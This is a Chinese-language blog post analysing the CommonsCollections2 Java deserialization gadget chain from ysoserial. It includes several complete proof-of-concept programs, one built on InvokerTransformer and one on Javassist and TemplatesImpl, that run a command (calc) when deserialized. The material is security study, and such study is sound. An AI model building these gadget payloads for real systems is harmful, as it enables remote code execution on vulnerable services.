CommonsCollections2 反序列化利用链分析
阅读原文时间:2022年02月27日阅读:1

在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口

那么就来看一下 java.util.PriorityQueue.javareadObject方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

heapify() 这里进行排序

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        //调用了 siftDown 方法
        siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

//comparator 不为空 进入到 siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

这里我们重点看下 siftDownUsingComparator 中的comparator.compare((E) c, (E) queue[right])

这里调用了 compare,ctrl+右键 点进去

发现commons-collections4-4.0-sources.jar!/org/apache/commons/collections4/comparators/TransformingComparator.java 实现了此方法。

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

来到了 熟悉的 transformer.transform,那么如果这里 this.transformer 为 InvokerTransformer 对象即可来到

InvokerTransformer#transform 方法进行反射调用,与cc1类似。

public O transform(final Object input) {
    if (input == null) {
        return null;
    }
    try {
        final Class<?> cls = input.getClass();
        final Method method = cls.getMethod(iMethodName, iParamTypes);
        return (O) method.invoke(input, iArgs);
    } catch (final NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                   input.getClass() + "' does not exist");
    } catch (final IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                   input.getClass() + "' cannot be accessed");
    } catch (final InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                   input.getClass() + "' threw an exception", ex);
    }
}

通过上面我们可以得出调用顺序

PriorityQueue.readObject()

PriorityQueue.heapify()

PriorityQueue.siftDown()

PriorityQueue.siftDownUsingComparator()

TransformingComparator.compare()

InvokerTransformer.transformat()

想要一步步按照上面顺序执行,需要满足几个条件

  • (size >>> 1) - 1 >=0 // 即 size>= 2

  • comparator != null // 这里 comparator 可控,可由PriorityQueue 的构造方法传入

通过上面的初步分析可以得出下面代码

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
        ),
        new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class },
                new Object[] {null, null }
        ),
        new InvokerTransformer(
                "exec",
                new Class[] {String.class },
                new Object[] { "calc.exe" }
        )
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template);

PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(1);
queue.add(2);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();

运行此代码发现虽然成功弹出计算器但是没有生成序列化对象

定位到代码为 queue.add(2);处。

这里调用了

public boolean add(E e) {
    return offer(e);
}

/**
 * Inserts the specified element into this priority queue.
 *
 * @return {@code true} (as specified by {@link Queue#offer})
 * @throws ClassCastException if the specified element cannot be
 *         compared with elements currently in this priority queue
 *         according to the priority queue's ordering
 * @throws NullPointerException if the specified element is null
 */
public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}


private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

private void siftUpComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>) x;
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (key.compareTo((E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = key;
}

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

当add 第二个元素时,会 进入siftUp(i, e); siftUpUsingComparator(k, x); 然后执行 comparator.compare(x, (E) e) 进入我们的反射链

然后当进入到 TransformingComparator#comparethis.decorated.compare(value1, value2)

由于 ProcessImpl 没有实现Comparable而报错,程序终止,就没有执行后面生成序列化数据的代码。

继续回过头来看

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

既然

siftUpUsingComparator 程序会报错。那么是否可以让他进入到 siftUpComparable,那么就需要让 comparator 为null

PriorityQueue queue = new PriorityQueue(2);

程序运行没有出错了,但是没有弹出计算器。

如何让add 不出错,同时又弹出计算器呢? 这里想到了反射,在add 2个元素结束之后,将 queue对象中的 comparator设置成 transformingComparator ,这里就需要用到反射了。

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator);

最后得出 POC

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                    "getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                    "invoke",
                    new Class[] {Object.class,Object[].class },
                    new Object[] {null, null }
            ),
            new InvokerTransformer(
                    "exec",
                    new Class[] {String.class },
                    new Object[] { "calc.exe" }
            )
    };
    ChainedTransformer template = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(template);

    PriorityQueue queue = new PriorityQueue(2);
    queue.add(1);
    queue.add(2);

    Field comparator = queue.getClass().getDeclaredField("comparator");
    comparator.setAccessible(true);
    comparator.set(queue,transformingComparator);

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(queue);
    oos.close();
    System.out.println(barr.toString());
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    ois.readObject();

}

也可换种写法,例如

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2_Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]  {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class,Object[].class },
                        new Object[] {null, null }
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class },
                        new Object[] { "calc.exe" }
                )
        };

        ChainedTransformer template = new ChainedTransformer(transformers);

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator =  new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        Field iParamTypes = transformer.getClass().getDeclaredField("iParamTypes");
        Field iArgs = transformer.getClass().getDeclaredField("iArgs");
        iMethodName.setAccessible(true);
        iParamTypes.setAccessible(true);
        iArgs.setAccessible(true);
        iMethodName.set(transformer,"transform");
        iParamTypes.set(transformer,new Class[]{Object.class});
        iArgs.set(transformer,new Object[]{null});

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{template,2});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

在 ysoserial框架中,commons-collections2 引入了 TemplatesImpl 类来进行承载攻击payload

TemplatesImpl 存在一个 成员变量 _bytecodes,当调用 TemplatesImpl#newTransformer 方法时,将会把

_bytecodes 实例化, 所以我们可以将恶意代码写到类的无参构造函数或static代码块中转换为字节码赋值给_bytecodes ,然后找到一个位置调用newTransformer就能完成整个攻击。

这里需要用到 Javassist ,javassist是Java的一个库,可以修改字节码。

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.19.0-GA</version>
</dependency>

通过javassist 构建如下代码

package deserialized;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2_Templates {
    public static void main(String[] args) throws Exception{
        template().newTransformer();
    }
    public static TemplatesImpl template() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        return templates;
    }

}

根据上面一节的分析,我们只需要将 ChainedTransformer template = new ChainedTransformer(transformers); 改为用javassist生成的对象,然后把iMethodName设置为newTransformer 就可完成整个攻击链。

package deserialized;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2_Templates {
    public static void main(String[] args) throws Exception{

        TemplatesImpl template = template();

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator =  new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{template,2});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
    public static TemplatesImpl template() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        return templates;
    }

}

关于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 里面是如何执行到我们自定义的 _bytecodes

的具体流程可以参考:https://y4er.com/post/ysoserial-commonscollections-2/

https://y4er.com/post/ysoserial-commonscollections-2/

https://y4er.com/post/javassist-learn/